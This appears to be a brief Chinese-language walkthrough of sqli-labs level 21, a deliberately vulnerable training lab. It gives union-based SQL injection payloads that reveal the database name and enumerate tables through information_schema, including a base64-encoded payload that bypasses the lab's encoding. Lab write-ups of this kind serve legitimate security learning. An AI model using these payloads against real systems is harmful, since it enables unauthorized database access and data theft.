sqli-labs（21）

1‘) union select 1,database(),3#

但是好像失败了  对不是好像 是确实失败了

why？

在线url编码的工具

http://tool.chinaz.com/tools/urlencode.aspx

看这里 = 好像被url加密了 是不是我们的符号不能直接base？

尝试一下  验证一下

不是的 是我操作失误了

那我们继续回归正题

‘) union select 1,2,3#

这里知道 2，3 是显示位置

那我们的语句就可以从2，3下手了

这里直接演示一下爆表名

‘) union select 1,(select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),3#

JykgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyBsaW1pdCAwLDEpLDMj

成功绕过

其他的构造方法就是以此类推 学到这里了 应该不需要多讲了 所以 我们 到此 over

切记 少就是多 慢就是快

sqli-labs（21）

标签：mamicode   tco   介绍   需要   wan   des   引号   type   where